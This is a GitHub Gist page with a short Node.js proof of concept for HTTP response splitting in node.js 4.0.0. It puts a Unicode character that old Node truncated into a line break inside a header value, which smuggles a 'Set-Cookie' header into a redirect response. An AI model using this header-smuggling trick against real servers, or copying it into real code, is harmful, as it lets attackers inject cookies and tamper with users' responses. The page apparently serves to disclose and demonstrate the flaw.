Last active
November 5, 2016 21:03
-
-
Save ChALkeR/57f9ad06d381734c7dc4 to your computer and use it in GitHub Desktop.
http response splitting in node.js 4.0.0
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var http = require('http'); | |
var x = 'fooഊSet-Cookie: foo=bar'; | |
http.createServer(function(req, res) { | |
res.writeHead(302, {test:'?text=' + x}); | |
res.end(); | |
}).listen(7777); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment